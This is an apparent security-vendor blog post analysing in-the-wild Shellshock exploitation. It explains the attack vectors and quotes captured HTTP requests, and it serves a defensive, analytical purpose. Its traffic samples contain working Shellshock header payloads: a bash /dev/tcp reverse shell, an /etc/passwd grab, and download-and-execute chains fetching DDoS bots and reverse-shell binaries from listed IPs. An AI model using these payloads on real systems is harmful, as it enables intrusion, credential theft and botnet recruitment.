Shellshock in the Wild

The exploitation of the BASH bug, now widely referred to as “Shellshock”, is in full swing. Attackers have mobilized—multiple proof-of-concept scripts are available, including a Metasploit module, making this vulnerability very accessible. The ease of exploitation, the simplicity of the vulnerability, and the extremely widespread install base of BASH, make this bug so deadly—and shows why enterprises need to apply patches as soon as possible. We have observed a significant amount of overtly malicious traffic leveraging BASH, including:

  • Malware droppers
  • Reverse shells and backdoors
  • DDoS

Some of this suspicious activity appears to be originating from Russia.

We suspect bad actors may be conducting an initial dry run, in preparation for a real, potentially larger-scale attack. We believe it’s only a matter of time before attackers exploit the vulnerability to redirect users to malicious hosts, which can result in further compromise.

The initial patch for this vulnerability (CVE-2014-6271), which was released in sync with the vulnerability’s public disclosure, was quickly found to be inadequate. It’s worth noting that the incomplete patch did not introduce new vectors, but was inadequate to close the hole created by the original bug. Vendors are scrambling to make a second patch (CVE-2014-7169) available, with varying degrees of success and timeliness.

So far, attackers have deployed scanners looking for vulnerable machines that have been bombarding networks with traffic since mid-day Wednesday. Through threat intelligence collected from FireEye’s Dynamic Threat Intelligence (DTI) center, we are seeing frenzied activity all over the world. While much of it seems to be the result of curious individuals and security researchers, there is abundant evidence that malicious actors are rushing to take advantage of this bug as well.

The Common Gateway Interface (CGI) vector (an interface between a web server and executables that produce dynamic content) has received the bulk of the focus from attackers thus far. However, the reach of the BASH Shellshock bug doesn’t stop at web servers. Any application that relies on user-controlled data to set OS-level environment variables and then invokes the shell from that same context can trigger the vulnerability. In other words, web applications relying on a specific type of user input can be manipulated to make clients (i.e., consumers) vulnerable to attack. The list of potentially vulnerable systems is long indeed, including everything from traditional home users and enterprise servers to Unix-based ISC/SCADA systems and embedded devices.

Given the sheer number of vulnerable systems, the severity of exploitation outcomes and the relative ease of exploitation, we expect to see significant use of this vulnerability by malicious actors, particularly in automated attacks.

The full extent and reach of the BASH Shellshock bug is still unknown. The bug has existed in BASH’s code for over two decades and BASH is integrated deeply into many organizations’ systems and architectures. Almost any type of internet-connected device that uses the BASH shell can be affected. While home users and traditional servers may be able to patch their way out of danger, many embedded devices and Unix-based ICS/SCADA systems don’t have access to such an easy recourse.

 

Vector & Vulnerability Analysis

 

Since the vulnerability was publicly disclosed on Wednesday, the focus has largely been on the CGI vector, which predominantly affects web servers. When a web server executes CGI content, it creates environment variables for each of the HTTP request parameters. This includes GET URI parameters, POST content body parameters and all HTTP headers. The script will then have access to the request parameters by accessing the environment. If the CGI content uses BASH at any point, by calling BASH directly, through a sub-process call, or by invoking a shell command (when BASH is the default shell), the vulnerability will be triggered. In other words, your CGI server might be vulnerable even if your CGI content doesn’t directly include BASH scripts.

The salient points to keep in mind about the CGI vector, is that it can be delivered by any HTTP request parameter, the server doesn’t have to directly call BASH scripts for it to be vulnerable, and it is OS agnostic. Its only dependencies are the web server, the CGI content it hosts, and the use of BASH as the shell.

DHCP clients based on the reference implementation from the Internet Systems Consortium can manipulate environment variables using data taken from the DHCP server. This makes it another remote vector for the BASH bug. If the DHCP client machine is running BASH, then the vulnerability will be triggered when it connects to a malicious DHCP server. This will often occur automatically, silently and with no user input. To make matters worse, DHCP clients have more privileges than CGI scripts. This affects the default DHCP clients found on most Linux flavors, but OSX is unaffected, as it uses a different implementation.

A SSH vector arises from the ForceCommand functionality, which allows a SSH server to be configured to restrict user actions. An authenticated malicious user could send a crafted communication that would trigger the BASH vulnerability, effectively allowing the attacker to break out of these restrictions and execute arbitrary commands. Since SSH is often used to tunnel and facilitate other services, applications that depend on this functionality may also be affected.

 

Exploitation Techniques

 

The Shellshock traffic we have been able to observe is still quite chaotic. It is largely characterized by high volume automated scans and PoC-like exploit scripts.

The following is brief analysis of some of the exploitation techniques that we have observed in Shellshock traffic. Each technique includes a traffic sample with relevant HTTP headers and a description of the exploit mechanism.

 

Automated Click Fraud

 

Note: This has a blank line, whereas the ones below do not. Also, URLs have been defanged [.] to prevent self-infection.

 

Accept: () { :;}; /bin/ -c "curl

 

 

http://31.41.42[.]109/search/wphp/j.php?cgi=XXX

 

 

 

 

User-Agent: () { :;}; /bin/ -c "wget -q -O /dev/null

 

 

http://ad.dipad[.]biz/test/http://XXXXXX.com/"

 

 

 

These requests are attempting to convince the target machine to get resources from suspicious networks, at first glance they almost appear as if a user had clicked on an ad. It is worth mentioning that the above domain was only recently registered on September 19, 2014. The potential for automated click fraud here is evident as it would be trivial for attackers to craft HTTP requests that generate ad revenue, making it another avenue for the Blackhat SEO crowd to exploit for financial gain.

 

The No-Malware Reverse Shell Technique

 

 

GET /cgi-bin/ HTTP/1.1

 

 

Host: <SERVER_IP>

 

 

User-Agent: () { :;}; /bin/ -c '/bin/ -i >& /dev/tcp/195.225.34.14/3333 0>&1'

 

 

 

Many people are unaware that BASH actually has built-in commands for sending and receiving network traffic. They work similarly to netcat, but without requiring any other malware or supporting tools to be present on the system. The example above shows how to create an extremely useful reverse shell, just using BASH itself.

Through a clever bit of advanced BASH syntax, it calls a second BASH shell, which it then binds to a network socket connected to the attacker’s IP on port 3333. Because this second shell is called with the ‘-i’ option (for “interactive” mode), it provides full two-way communication to the attacker, operating much as a normal command line shell would. The attacker has merely to listen on the correct port in order to receive a full interactive shell on the victim system.

 

Stealing the Password File

 

 

GET /cgi-bin/status/status.cgi HTTP/1.1

 

 

Host: <SERVER_DOMAIN>

 

 

User-Agent: () { :;}; echo "Bagstash: " $(</etc/passwd)

 

 

 

The command above is injected into the HTTP User-Agent, though this time the objective is a simple smash-and-grab of the system password file.

After echoing the string “Bagstash: ” back to the attacker, the exploit uses BASH’s command substitution. The “$(…)” construct starts a subshell and executes the included command, also returning the resulting output to the attacker. In this case, the command is “</etc/passwd”, which is a standard BASH shortcut equivalent to “cat /etc/passwd”. In other words, the password file has just gone out the front door.

 

Email-Based Reconnaissance

 

 

GET /cgi-bin/w3mman2html.cgi HTTP/1.1

 

 

Host: <domain>

 

 

Cookie: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'

 

 

Referer: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'

 

 

User-Agent: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'

 

 

 

A very large percentage of the total number of exploit attempts are really just probes designed to somehow let the attacker know if it has succeeded, without causing any real damage to the system. Most of these use the “ping” command, or even the /dev/tcp capability mentioned above. This one, however, stood out due to the fact that it was the only one to use email.

The command above is fairly straightforward. If successful, the exploit uses the built-in Unix “mail” command to send a message to the indicated Gmail address, with the subject line “hello”. There is no message body.

Because email often takes very indirect routes to its destination, with the potential to involve many intermediate mail servers before final delivery, it seems odd that an attacker would consider this a reliable way to identify which systems were successfully exploited. Nevertheless, we observed this at multiple customers, using the same email address.

 

Payload Analyses

 

We have observed a number of injected BASH commands that attempt to download malware to vulnerable hosts via exploitation of the Shellshock BASH bug. The following is a brief analysis of these cases. They follow a similar format as the previous section.

 

Reverse Shell Perl Script

 

 

GET /cgi-sys/defaultwebpage.cgi HTTP/1.1

 

 

User-Agent: () { :;}; /bin/ -c "/usr/bin/wget http://singlesaints[.]com/firefile/temp?h=<domain> -O /tmp/a.pl"

 

 

Host: <domain>

 

 

Accept: */*

 

 

 

The injected BASH command above simply downloads a file. The downloaded payload (md5: 27cb601055cee7a4e55a91ee524f3d88) is a Perl script that sets up a reverse shell connecting to 72.167.37.182 on port 23 to singlesaints[.]com, a dating site for Mormons and the same domain that is hosted the downloaded script, resolves to this IP.

The script was first submitted to VirusTotal yesterday and at this time, it only has one detection. It was named after “Bashattack”, inferring that it was previously unknown to AV vendors. 

 

Tsunami/Kaiten, an IRC-based DDoS Client/Backdoor

 

 

GET /cgi-sys/defaultwebpage.cgi HTTP/1.0

 

 

User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/-shellshock-scan-of-internet.html)

 

 

Accept: */*

 

 

Cookie: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh; /tmp/besh;

 

 

Host: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh; /tmp/besh;

 

 

Referer: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh; /tmp/besh;

 

 

 

The injected BASH commands above download a file, change its permissions to read/write/execute for all users, and executes the file. The downloaded payload (md5: aec2df8a6cb35aa5b01b0d9f1f879aa1) is an x86_64 ELF executable that was submitted to VirusTotal and detected by many vendors as Tsunami/Kaiten. It mainly functions as a DDoS client, but also has backdoor capabilities, communicating over IRC. This particular variant is configured to connect to and receive commands from the same IP address it was downloaded from: 104.192.103.6.

 

UDP Flood

 

 

GET / HTTP/1.0

 

 

User-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)

 

 

Accept: */*

 

 

Cookie: () { :; }; wget 37.187.225.119/conf.txt > /var/www/conf.php; wget 37.187.225.119/conf.

 

 

‪txt > /var/www/html/conf.php

 

 

Host: () { :; }; wget 37.187.225.119/conf.txt > /var/www/conf.php; wget 37.187.225.119/conf.txt > /var/www/html/conf.php

 

 

Referer: () { :; }; wget 37.187.225.119/conf.txt > /var/

 

 

‪www/conf.php; wget 37.187.225.119/conf.txt > /var/www/html/conf.php

 

 

 

The injected commands above download a PHP file to what are commonly configured to be a Web server’s root directories, trying two different common locations. The PHP script (md5: 19149a03c9bd3a2706cb355df52862dd) was submitted to VirusTotal earlier yesterday with a few detections identifying it as a flooder. It is a small and simple PHP script that will continuously send UDP packets with 65,000 bytes of random alphanumerical characters to a host. The host, port, and time limit are all passed as GET request parameters along with a simple authentication password that must be “microstresser14”. The idea here is to convert exploited Web servers into on-demand DDoS clients.

 

Perl.Shellbot, another IRC-based DDoS Client/Backdoor

 

 

GET / HTTP/1.0

 

 

Accept: */*

 

 

Accept-Language: en-US

 

 

User-Agent: () { :;}; /bin/ -c ' -i >& /dev/tcp/195.225.34.101/3333 0>&1'

 

 

Host: <domain>

 

 

Connection: Close

 

 

 

The injected command above use the technique described above in the section titled “The No-Malware Reverse Shell Technique”. It sets up an interactive BASH shell to read in commands from a service running on 195.255.34.101 on port 3333. This server was hosting a file named index.html that contained the following BASH commands that were likely used in this attack:

 

rm -rf /tmp/.lCE-unix;echo 

 

'aW1wb3J0IHVybGxpYjt1cmxsaWIudXJscmV0cmlldmUgKCJodHRwOi8vMjAyLjEzNy4xNz

YuMTQ2L2ljb25zL3h0LmRhdCIsICIvdG1wLy5sQ0UtdW5peCIpCg=='>>/tmp/.lCE-

unix;perl -MMIME::Base64 -ne 'print decode_base64()' < /tmp/.lCE-

unix|python;wget -O /tmp/.lCE-unix

http://202.137.176.146/icons/xt.dat;perl /tmp/.lCE-unix 81.18.135.38

443;rm -rf /tmp/.lCE-unix;uptime

 

 

The commands above Base64 decode the initial string into the following python code below and execute it with Python.

 

import urllib;urllib.urlretrieve ("http://202.137.176.146/icons/xt.dat", "/tmp/.lCE-unix")

 

 

 

The code above simply downloads a file. The proceeding BASH commands redundantly (perhaps as a fallback mechanism) download the same file again using wget, then execute the file with Perl, removing the file after execution. The Perl script (md5: cd23ef54e264bd84ab1a12dddceb3f48) was first submitted to VirusTotal over a year ago and is known as ShellBot. It is an IRC bot with remote shell, scanning, and DDoS functionality. The BASH command passes it arguments that direct it to connect to 81.18.135.38 on port 443.

 

Another Perl.Shellbot Variant

 

 

GET /cgi-bin/hello HTTP/1.0

 

 

User-Agent: () { :;}; /bin/ -c "cd /tmp; wget http://dl.directxex[.]net/dl/nice.png; chmod +x *; perl nice.png"

 

 

Host: <domain>

 

 

 

The injected BASH commands above download a file to /tmp, make all files in /tmp executable (including the downloaded file), and execute the downloaded file with Perl. The downloaded file (md5: b0b8a35445a4743ff6f196a4c0bba688) is a Perl script referring to itself as “DDoS Perl IrcBot v1.0” in its comments. It was first submitted to VirusTotal only ten days ago, on September 17th with several detections naming it ShellBot, the same as with our previous analysis above. This script shares much code and functionality with the previous sample as well. This script is configured to connect to 94.102.52.10 on port 6667.

 

Tiny Reverse Shell ELF Executable

 

 

GET /cgi-

 

bin/ICuGI/EST/blast_detail.cgi%3FID%3DPU056535%26db%3DGenBank%26organis

m%3Dcucurbita_pepo HTTP/1.1

 

 

Host: <domain>

 

 

content-length: 0

 

 

accept-encoding: gzip, deflate

 

 

referrer: ()

 

 

{ :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m | /bin/grep 64) 

 

; then /usr/bin/wget 82.118.242.223:9199/v64 -O /tmp/.osock;

/usr/bin/lwp-download http://82.118.242[.]223:9199/v64 /tmp/.osock;

/usr/bin

 

 

/curl http://82.118.242.223:9199/v64 -o /tmp/.osock; else /usr/bin/wget 

 

82.118.242.223:9199/v -O /tmp/.osock; /usr/bin/lwp-download

http://82.118.242[.]223:9199/v /tmp/.osock; /usr/bin/curl

 

 

http://82.118.242[.]223:91

 

 

99/v -o /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock"

 

 

accept: */*

 

 

user-agent: User-Agent: Mozilla/5.0 (X11; Linux x86_64) 

 

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116

Safari/537.3

 

 

6

 

 

cookie: () { :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m | 

 

/bin/grep 64) ; then /usr/bin/wget 82.118.242.223:9199/v64 -O

/tmp/.osock; /usr/bin/lwp-download http://82.118.242[.]223:919

 

 

The injected BASH commands above, in this case, are quite lengthy. This is because it tries three different methods for downloading the payload. It also checks to see if the system is 64-bit or not and downloads a 64-bit version of the payload appropriately. The payload is a very small ELF executable (md5: 959aebc9b44c2a5fdd23330d9be1101e) that was submitted to VirusTotal yesterday with 0 detections. It simply creates a reverse shell, connecting to the same IP the payload was downloaded from: 82.118.242.223.

We will continue monitoring the threats and keep you updated with our new discoveries. We would also like to thank Durgesh Sangvikar and Josh Gomez for their great research and contribution to this blog post.